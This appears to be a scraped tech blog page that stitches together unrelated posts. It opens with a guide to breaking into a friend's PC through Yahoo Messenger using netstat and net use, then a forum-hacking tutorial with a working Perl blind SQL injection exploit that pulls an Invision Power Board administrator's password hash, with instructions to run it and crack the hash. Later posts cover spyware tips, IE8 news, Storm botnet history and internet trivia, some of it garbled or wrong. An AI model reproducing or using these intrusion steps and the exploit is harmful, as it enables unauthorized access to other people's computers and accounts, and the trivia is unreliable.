how to hack my friend pc through yahoo messenger?

1) Open Command Prompt. Have some one on yahoo messenger send you a file; while the file is sending, in command prompt type -> netstat -an press enter

2)it will show alll Active Connections on your computer, in there under foreign ip for a number thats ends in 5050. this is the persons ip adress who is sending you the file

3)Now type : net use: h \\ (the person's ip adress)\shareddocs push enter wait for message to show up

4)If it is successful you should get a message saying command prompt was successful. If you get a error message than your attempt has failed, probably because the person has security measures in place to prevent hacking.

5)if you get the message that says command was successful, than go to my computer. There you will see a file named "shareddocs on (the name of your computer)" open this file

you are now connected to that person's computer

Hacking Forums

First of all, what you guyz need is a forum to hack. Once you got the forum the next step is to find the user we want to hack. In common sense i can say that u want to hack the admin . The administrator is usually the first member of the forum, therefore his/her User ID will be "1". Find the User ID of the administrator, or person you wish to hack. For this tutorial, let's say his/her ID is "3".

Now you are almost all set to go bcz you guyz know the site u wish to hack, and the member/administrator you wish to hack. For e.g "you are hacking the administrator of "http://www.xxxxxxxx.com", which is User ID "3".

Now before dreams come true u need a nice exploit. U can use this one given below ( preferably, for 1.3.1 forums)

---

#!/usr/bin/perl -w
##################################################################
# This expoit works fine. Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Hacker"
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By Hacker. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].

";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current
";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!
"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# Hacker

---

#For using the above perl script u need an activeperl. You can get it from here if u didn't hv the one and install it: -
http://shorl.com/gakadupofugo

#Now u hv perl installed in ur system. Open your Notepad -> copy the above perl script and paste it there -> save it as ipb.pl

#Now go to C:perlin and paste your ipb.pl file there.

#Now u r almost done.

#Open your Command prompt(start->run->cmd->hit enter)

#Now change your directory to perl by typing cd C:Perlin in ur command prompt

#Now u r in perl's bin directory. Now all u need to do is to access the ipb.pl file that u saved in bin directory

#For this type the command : -perl ipb.pl

#Now your exploit is executed. Let's celebrate


Now it's time to tell u how to use it.

#I think u guys remember that u r hacking site User ID "3" who is the administrator of site "http://www.xxxxxxxx.com"

#Go to your command prompt (run->cmd) and type this into ur command prompt : -

ipb.pl http://www.xxxxxxxx.com/ 3 1

#It may takes some time as the exploit gathers the information and grab the "hash"

#Don't close the programme if it takes some time bcz this is the finalisation phase which gives u the way to access the forum with admin privilages.

#Once the hash grabbing is complete, u r returned with full hash and UserID

#Now once u got the hash For e.g 8476t3f6534ty3bt6k6g6f4fj3jb1h0m

#Don't confuse with these numbers, it's useless unless u know how to use it.

#This is nothing but the admin's password encrypted by using theMD5 hash algorithm

#I think most of u heard that MD5 hash is impossible to crack. MD5s are impossible to reverse "once a string is MD5ed, there is no way to get it back to plain-text"

#It is IMPOSSIBLE to decrypt an MD5 hash. But.. It is NOT impossible to CRACK an MD5 hash (as i already cracked MD5 hash, so it's not impossible)

#You can use any method, and any crackers to crack this hash

#Once you r done i.e u hv cracked the hash, you will be given a plain-text password (which is your gateway to enter the forum)

How to disable Yahoo from tracking you

Yahoo! has hidden this option way deep inside somewhere but I'm declaring it here in case there are people who want it anyway

1) Go to the address http://privacy.yahoo.com/privacy & click the "Cookies" link under the "Special Topics" column.
2) Click the "Web Beacons" link under the "Reference Links" Column.
3) On this page, click the "click here to opt out" link toward the end of the third paragraph under the "Outside the Yahoo! Network" title.
4) After a while, a page that says you have been out of the monitoring program will load. Without doing anything, close that page or continue your usual urfing by typing another address in the address bar. (Do NOT click the "Cancel Opt-out" button, your action will be cancelled!).
5) You're done! Now Yahoo! will not record what you're doing during surfing.

Note : How Innocent it may appear but its Voilation of yahoo Policies.

Spyware : You’re being watched

Spyware on your PC leaves you vulnerable. Here are six simple steps to remove and prevent spyware. Everyone loves a spy story. A bit of suspense, a bit of drama and a whole lot of romance. However, in the Internet world, spying is dirty, treacherous and can cost you a great deal of money. We are talking of spyware.

Spyware is a malicious software that sends out your personal information to third parties without your approval. This means that if your computer is infected by spyware, your user name, passwords and credit card information could be used by anyone, anywhere in the world. Not a pretty thought, is it?

Removing spyware is difficult. It uses stealth to install itself and avoid detection. Most people don’t even realise that their computers are infected by spyware. It may also affect the performance of your machine. But there are things you can do to prevent and remove spyware from your computer.

1. Do not click on pop-up links: While surfing on the Net, do not click on those innocuous links that pop up. They may result in your computer being infected by spyware. Never click Yes or OK. Click on the X button on the top right-hand corner of the window. Install a pop-up blocker if necessary.

2. Be careful with what you download: Software that claims to be free can contain spyware. Never assume that the software doesn’t contain spyware. Always be sure. Downloading music and movies from file-sharing programmes is another way you can get spyware.

3. Do not respond to spam: Mail messages that promote anti-spyware software or any other thing are likely to be fraudulent. Responding to them may result in spyware being installed on your PC.

4. Update your Windows software regularly: Microsoft Windows Update regularly offers security updates to fix vulnerabilities in its programs. Updating your Windows software regularly can go a long way in helping you prevent spyware entry into your PC.

5. Install a firewall: Firewalls can detect if any software is being installed on your computer without your knowledge, while you’re on the Internet. They monitor all the data that goes in and out, acting as a shield that protects your PC. Windows XP comes with an in-built firewall that you just need to turn on.

6. Use a spyware remover tool: Anti-spyware programmes are the most effective way to remove spyware. These programmes detect if your PC contains spyware and remove it. Most of them are free as well. But keep in mind that some of the so-called free spyware remover tools are spyware themselves. We recommend you use only the leading anti-spyware tools backed by comprehensive lab testing.

So don’t get spied on. Stay safe.

Internet Explorer 8 Beta from Microsoft Has Arrived

Microsoft's next-generation web browser, Internet Explorer 8, has arrived. In a surprising move, after the demo of IE8 and its new features at today's session of the MIX08 conference, the startling announcement was made: "It's available for download now". The new browser showcases many new features and improvements, like Facebook and eBay integration, standards compliance, and the ability to work with AJAX web pages. What's most notable about IE8, though, is more than a sum of its parts. If anything, this launch shows that Microsoft is not taking Firefox's creep into browser market share lightly.

IE8 New Features Shown At MIX08

As of the demo at MIX08, IE8 has features included the following:

Standards Compliance: There were hints that IE8 would be a remarkable offering on the IE Blog as they released tidbits about the browser's capabilities. For example, the announcement of IE8's passing of the Acid2 test (a test for standards compliance) marked a milestone in IE8's development. The standards mode was originally going to be turned off by default letting web developers code for it by including a "meta" tag to make use of IE8's new standards compliant mode. Later, Microsoft came to their senses and made the default the standards-compliant mode. Meanwhile, Firefox also claims to have passed the Acid 2 test, but an open bug on bugzilla.mozilla.org seems to say otherwise. (our coverage). One commenter on the thread notes, "So, we essentially do pass the test. However, in some situations, it might still fail, that's why this bug is open."

Facebook Integration: Yes, seriously! With a Flock-like feature as an unexpected surprise, Microsoft capitalized on their partnership with the popular social networking site, Facebook, to allow IE8 users the ability to get status updates from Facebook right from their browser toolbar.

eBay Integration: Like Facebook, this feature also uses IE8's new technology, called "WebSlices", which introduces a new way to get updates from other sites via the browser itself, without having to visit the web site. With WebSlices, IE8 beta users can subscribe to portions of a page that
update dynamically, in order to receive updates from that page as content
changes. EBay will offer webslices, too, letting you track your auctions from the browser toolbar. Basically, WebSlices look like Favorites on your Links toolbar but they have a little arrow next to them - clicking on this arrow will show you a small window of live web content.

Live Maps Integration: Another WebSlice was integration with Live Maps. It appeared that you could even highlight text on a page, like an address, and then right-click and choose Live Maps from the context menu to get a WebSlice preview of that location on a map in a small pop-up window. How convenient!

Integration with Me.dium: Me.dium integration will be supported in IE8 via WebSlices. Me.dium will now help web surfers discover and view WebSlices directly from the sidebar. The Me.dium sidebar will alert users to the presence of WebSlices on any page – and even allows users to read each WebSlice, without leaving the Sidebar. In addition, Me.dium will make real-time recommendations for other WebSlices on other relevant web pages and provides direct links to them based on the real time activity of other Me.dium users.

Working with AJAX Pages: IE8 will offer better functionality when it comes to AJAX web pages. The example showed a page where you could zoom in using AJAX technology. Previously, hit the IE "Back" button would take you back to the last page you were on. Now, "Back" will zoom you out.

We can now find out what other features IE8 has to offer, since the beta is now publicly available for download. To get IE8, you can download it by clicking here.

Is your pendrive not working???

-> It could have been corrupted data which might have damaged the pendrive. Here recovering may not be possible.

-> Do try to see if the usb pin is not deformed in any way, tat shud help or else try goin for a new one.

-> Attach the pendrive switch off ur system abruptly by switching off main power supply. Then restart it keeping the pen drive intact in the USB drive and allow the disk check.It checks the pendrive and rectifies the corrupted Memory Pool.

-> Check with your system hard ware basically if everything is fine also check whether it is getting detected in any other systemsome times some anti viruses will not allow drives with virus in it to get detected hoping this info might help you.

-> If it was the case that your pendrive not getting detected you have an issue with your hardware so return it to the manfacturer.

-> If it was the case that it is not functioning on any USB of your sys it is the issue with your system usb drive better go for an add on pci usb card 2.0 that will solve your issue.

Best ever virus that ruled the world...

Storm worm botnet is a remotely-controlled network of "zombie" computers (or "botnet") that has been linked by the Storm Worm, a Trojan horse spread through e-mail spam. Some have estimated that by September 2007 the Storm botnet was running on anywhere from 1 million to 50 million computer systems. Other sources have placed the size of the botnet to be around 250,000 to 1 million compromised systems. More conservatively, one network security analyst claims to have developed software that has crawled the botnet and estimates that it controls 160,000 infected computers. The Storm botnet was first identified around January 2007, with the Storm worm at one point accounting for 8% of all malware on Microsoft Windows computers.

The Storm botnet has been used in a variety of criminal activities. Its controllers, and the authors of the Storm Worm, have not yet been identified. The Storm botnet has displayed defensive behaviors that indicated that its controllers were actively protecting the botnet against attempts at tracking and disabling it. The botnet has specifically attacked the online operations of some security vendors and researchers who attempted to investigate the botnet. Security expert Joe Stewart revealed that in late 2007, the operators of the botnet began to further decentralize their operations, in possible plans to sell portions of the Storm botnet to other operators. Some reports as of late 2007 indicated the Storm botnet to be in decline, but many security experts reported that they expect the botnet to remain a major security risk online, and the United States Federal Bureau of Investigation considers the botnet a major risk to increased bank fraud, identity theft, and other cybercrimes.

The botnet reportedly is powerful enough as of September 2007 to force entire countries off the Internet, and is estimated to be capable of executing more instructions per second than some of the world's top supercomputers. However, it is not a completely accurate comparison, according to security analyst James Turner, who said that comparing a botnet to a supercomputer is like comparing an army of snipers to a nuclear weapon. Bradley Anstis, of the United Kingdom security firm Marshal, said, "The more worrying thing is bandwidth. Just calculate four million times a standard ADSL connection. That's a lot of bandwidth. It's quite worrying. Having resources like that at their disposal—distributed around the world with a high presence and in a lot of countries—means they can deliver very effective distributed attacks against hosts."

Computer security expert Joe Stewart detailed the process by which compromised machines join the botnet: attempts to join the botnet are made by launching a series of EXE files on the computer system in question, in stages. Usually, they are named in a sequence from game0.exe through game5.exe, or similar. It will then continue launching executables in turn. They typically perform the following:
1. game0.exe - Backdoor/downloader
2. game1.exe - SMTP relay
3. game2.exe - E-mail address stealer
4. game3.exe - E-mail virus spreader
5. game4.exe - Distributed denial of service (DDos) attack tool
6. game5.exe - Updated copy of Storm Worm dropper
At each stage the compromised system will connect into the botnet; fast flux DNS makes tracking this process exceptionally difficult. This code is run from %windir%\system32\wincom32.sys on a Windows system, via a kernel rootkit, and all connections back to the botnet are sent through a modified version of the eDonkey/Overnet communications protocol.

Amazing facts...

Google got its name from the mathematical figure googol, which denotes the number 'one followed by a hundred zeros'.

Yahoo! derived its name from the word Yahoo coined by Jonathan Swift in Gulliver's Travels. A Yahoo is a person who is repulsive in appearance and action and is barely human!

Researchers consider that the first search engine was Archie, created in 1990 by Alan Emtage, a student at McGill University in Montreal, Canada.

Marc Andreessen founded Netscape. In 1993, he had already developed Mosaic, the first Web browser with a GUI.

It was once considered a letter in the English language. The Chinese call it a little mouse, Danes and Swedes call it 'elephant's trunk', Germans a spider monkey, and Italians a snail. Israelis pronounce it 'strudels' and the Czechs say 'rollmops's...What is it? The @ sign.

In the Deep Web, the part of the Web not currently catalogued by search engines, public information said to be 500 times larger than on the WWW.

The first search engine for Gopher files was called Veronica, created by the University of Nevada System Computing Services group

Tim Berners-Lee predicted in 2002 that the Semantic Web would "foster global collaborations among people with diverse cultural perspectives", but the project never seems to have really taken off.

In February 2004, Sweden led the world in Internet penetration, with 76.9 percent of people connected to the Internet. The world average is 11.1 per cent.

The top visited websites in February2004, including affiliated sites, were Yahoo!, MSN, the Warner Network, EBay, Google, Lycos and About.com.

The search engine "Lycos" is named for Lycosidae, the Latin name for the wolf spider family.
The US International Broadcasting Bureau created a proxy service to allow Chinese, Iraians and other 'oppressed' people to circumvent their national firewalls, relaying forbidden pages behind silicon curtains.

Lurking is to read through mailing lists or news groups and get a feel of the topic before posting one's own messages.

SRS stands for Shared Registry Server. The central system for all accredited registrars to access, register and control domain names.

WAIS stands for 'Wide Area Information Servers' - a commercial software package that allow the indexing of huge quantities of information, the makes those indices searchable across the Internet.

An anonymiser is a privacy service that allows a user to visit Web sites without allowing anyone to gather information about which sites they visit.

Archie is an information system offering an electronic directory service for locating information residing on anonymous FTP sites.

On the Internet, a 'bastion host' is the only host computer that a company allows to be addressed directly from the public network.

'Carnivore' is the Internet surveillance system developed by the US Federal Bureau of Investigation (FBI), who developed it to monitor the electronic transmissions of criminal suspects.

Did you know that the original URL of Yahoo! was http://akebono.stanford.edu/ ?

Developed at the University of Nevada, Veronica is a constantly updated database of teh names of almost every menu item on thousands of gopher servers.

The Electrohippies Collective is an international group of 'hacktivists' based in Oxfordshire, England.

UIML (User Interface Markup Language) is a descriptive language that lets you create a Web page that can be sent to any kind of interface device.

In Internet terminology, a demo is a non-interactive multimedia presentation, the computer world's equivalent of a music video.

Did you know that the name of the famous search engine AltaVista came into existence when someone accidentally read and suggested the word 'Vista' on an unclean whiteboard as 'Alta Vista'?

Boeing was the first airline to discover the Y2K problem, way back in 1993.

Did you know that Domain registration was free until an announcement by the NAtional Science Foundation on 14th September, 1995, changed it?

The Internet was initially called the 'Galactic network' in memos written by MIT's J C R Licklider in 1962.

Shokyu Ishiko, a doctorate in agriculture and chief priest of Daioh Temple in Kyoto has created an online virtual temple which will perform memorial services for lost information.

A 55 kg laddu was made for Lord Venkateswara at Trumala as a Y2K prayer offering.

The morning after Internet Explorer 4 was released, certain mischievous Microsoft workers left a 10 by 12 foot letter 'e' and a balloon with the message, "We love you", on Netscape front lawn.

If you were a resident of Tongo, a monarchy in the southwest Pacific, you could own domains as cool as 'mail.to' and 'head.to'.

The American Registry for Internet Numbers (ARIN) began the administration of Internet IP address in North and South America in MArch 1998.

The testbed for the Internet's new addressing system, IPv6, is called the 6bone.

The first Internet worm was created by Robert T.Morris, Jr, and attacked more than 6000 Internet hosts.

According to The Economist magazine, the first truly electronic bank on the Internet, called First Virtual Holdings, was opened by Lee Stein in 1994.

The French Culture Ministry has banned the word 'e-mail' in all government ministries, documents, publications and Web sites, because 'e-mail' is an English word. They prefer to use the term 'courriel'.

The German police sell used patrol cars over the Internet, because earlier auctions fetched low prices and only a few people ever showed up.

Rob Glasser's company, Progressive Networks, launched the RealAudio system on April 10, 1995.

'Broswer safe colours' refer to the 216 colours that are rendered the same way in both the PC and Mac operating systems.

Though the world Wide Web was born in 1989 at CERN in Switzerland, CERN is mainly involved in research for particle physics.

The first computer company to register for a domain name was Digital Equipment Corporation.

The 'Dilbert Zone' Web site was the first syndicated comic strip site available on the Internet.

Butler Jeeves of the Internet site AskJeeves.com made its debut as a large helium balloon in the Macy's Thanksgiving Day parade in 2000.

Sun Microsystems sponsors NetDay, an effort to wire American public schools to the Internet, with help from the US government.

In Beijing, the Internet community has coined the word 'Chortal' as a shortened version of 'Chinese portal'.

Telnet is one of the oldest forms of Internet connections. Today, it is used primarily to access online databases.

Domain names can be really sell at high prices! The most expensive domain name was 'business.com', which was bought by eCompanies for $7.5 million in 1999.

The first ever ISP was CompuServe. It still exists, under AOL Time Warner.

On an average, each person receives 26.4 e-mails a day.

Ray Tomlinson, a scientist from Cambrige, introduced electronic mail in 1972. He used the @ to distinguish between the sender's name and network name in the e-mail address.

Transmission Control Protocol/Internet Protocol (TCP/IP) was designed in 1973.

The Apple iTunes music store was introduced in the spring of 2003. It allows people to download songs for an affordable 99 cents each.

Satyam Online become the first private ISP in December 1998 to offer Internet connections in India.

The number of UK Internet users increase by an estimated 75 percent each year.

The Internet is the third-most used advertising medium in the world, closely catching up with traditional local newspapers and Yellow Pages.

It took 13 years for television to reach 50 million users- it took the Internet less than 4 years.

As of now, there are over 260 million people with Internet access worldwide.

1 out of 6 people used the Internet in North America and Europe, as per a 1999 survey.
The average computer user blinks 7 times a minute.

In 1946, the Merriam Webster Dictionary defined computer as 'a person who tabulates numbers; accountant; actuary; bookkeeper.'

An estimated 2.5 billion hours were wasted online last year as people waited for pages to download, according to a study sponsored by Nortel Networks.

AOL says spam is the number one complaint of its customers, and that it has to block over one billion unsolicited e-mails every day.

In 2002, the average Internet user received 3.7 spam messages per day. The total rose to 6.2 spam messages per day in 2002. By 2007, it is expected to reach 830 messages per day.

A terminology industry research firm called Basex says that unsolicited e-mail cost $ 20 billion in lost time and expenses worldwide in 2000.

In 2003 an Atlanta- base ISP called Earthlink won a lawsuit worth $16.4 million (US) against a spammer in Buffalo NY, and a $25 million (US) lawsuit against a spammer in Tennessee.

Microsoft Application Compatibility Toolkit 5.0

The Microsoft Application Compatibility Toolkit (ACT) 5.0 is a lifecycle management tool that assists in identifying and managing your overall application portfolio, reducing the cost and time involved in resolving application compatibility issues, and helping you quickly deploy Windows Vista and Windows Updates.
With it, you can:

* Analyze your portfolio of applications, Web sites, and computers.
* Evaluate operating system deployments, the impact of operating system updates, and your compatibility with Web sites.
* Centrally manage compatibility evaluators and configuration settings.
* Rationalize and organize applications, Web sites, and computers.
* Prioritize application compatibility efforts with filtered reporting.
* Add and manage issues and solutions for your enterprise-computing environment.
* Deploy automated mitigations to known compatibility issues.
* Send and receive compatibility information from the Microsoft Compatibility Exchange.


Microsoft Application Compatibility Toolkit 5.0 Features
Inventory and Collect your Data
ACT 5.0 provides a way to gather inventory data, through the use of distributed compatibility evaluators and the developer and tester tools. Data can be collected around operating system changes of various magnitude, from large events (such as an operating system upgrade), to medium events (such as a browser upgrade), to smaller events (such as a Windows Update release). Having the ability to collect compatibility data into a single centralized store has significant advantages in reducing organizational risk during platform changes.


Distributed Compatibility Evaluators
The Application Compatibility Toolkit (ACT) 5.0 and Application Compatibility Toolkit Data Collector (ACT-DC) use compatibility evaluators to collect and process your application information. Each evaluator performs a set of functions, providing a specific type of information to ACT.

* Inventory Collector: Examines your organization's computers to identify the installed applications and system information.
* User Account Control Compatibility Evaluator (UACCE): Enables you to identify potential compatibility issues that are due to permission restrictions enforced by the User Account Control (UAC), formerly known as Limited User Accounts (LUA). Through compatibility logging, UACCE provides information about both potential application permission issues and ways to fix the problems so that you can deploy a new operating system.
* Update Compatibility Evaluator (UCE): Provides insight and guidance about the potential effects of a Windows operating system security update on your installed applications. The UCE dynamically gathers application dependencies and is deployable to both your servers and client computers in either a production or test environment. The compatibility evaluator collects information about the modules loaded, the files opened, and the registry entries accessed by the applications currently running on the computers and writes that information to XML files uploaded to the ACT database.
* Internet Explorer Compatibility Evaluator (IECE): Enables you to identify potential Web application and Web site issues that occur due to the release of a new operating system. IECE works by enabling compatibility logging in Internet Explorer, parsing logged issues, and creating a log file for uploading to the ACT Log Processing Service.
* Windows Vista Compatibility Evaluator: Enables you to identify issues that relate to the Graphical Identification and Authentication (GINA) DLLs, to services running in Session 0 in a production environment, and to any application components deprecated in the Windows Vista operating system.


Development Tools
ACT 5.0 provides new tools for developers to test setup packages, Web sites and Web applications with Internet Explorer 7, and applications running as standard users in Windows Vista. The following section provides information about the development tools.
Setup Analysis Tool (SAT): Automates running application installations while monitoring the actions taken by each application's installer. The Setup Analysis Tool detects the following potential issues:

* Installation of kernel mode drivers
* Installation of 16-bit components
* Installation of Graphical Identification and Authentication (GINA) DLLs
* Modification of files or registry keys that are under Windows Resource Protection in Windows Vista


Internet Explorer Test Tool: Collects your Web-based issues from Internet Explorer 7, uploads the data to the ACT Log Processing Service, and shows your results in real time.
Standard User Analyzer (SUA): Determines the possible issues for applications running as a Standard User (SU) in Windows Vista.


Analyze Your Data
After collecting your compatibility data, ACT 5.0 provides features and tools to help you organize, rationalize, and prioritize the data.

* Organize your data: Create custom compatibility reports, assign custom categories and subcategories to your applications based on geographies, departments, internal line-of-business applications, or any custom application tags, and analyze your compatibility data using three types of quick reports, including the Operating System Deployment reports, the Update Impact Analyzer Application reports, and the Internet Explorer 7 reports.
* Rationalize your data: Locate and share your compatibility information, issues, and solutions with industry peers using the Microsoft Compatibility Exchange and the ACT Community, filter your data to eliminate non-relevant applications, applications with specific issues, applications with no known issues, and applications with no compatibility information, run standardized reports for specific operating systems, risk ratings of applications, computers, and custom reports, and manage issues and solutions for each application in your company.
* Prioritize your data: Assign priorities to your applications, track the status of your application testing, by identifying their position in the deployment process, and run standardized reports for understanding your current deployment status based on your prioritizations.

How to Disable New Programs Alert

This is only applicable if you have the new XP start menu not if you are using classic.


To get rid of this alert is really easy:

-> Right click the start bar and click properties.

-> Go to the start menu tab and click customize.

-> Click on the advanced tab.

-> De-select "Highlight newly installed programs"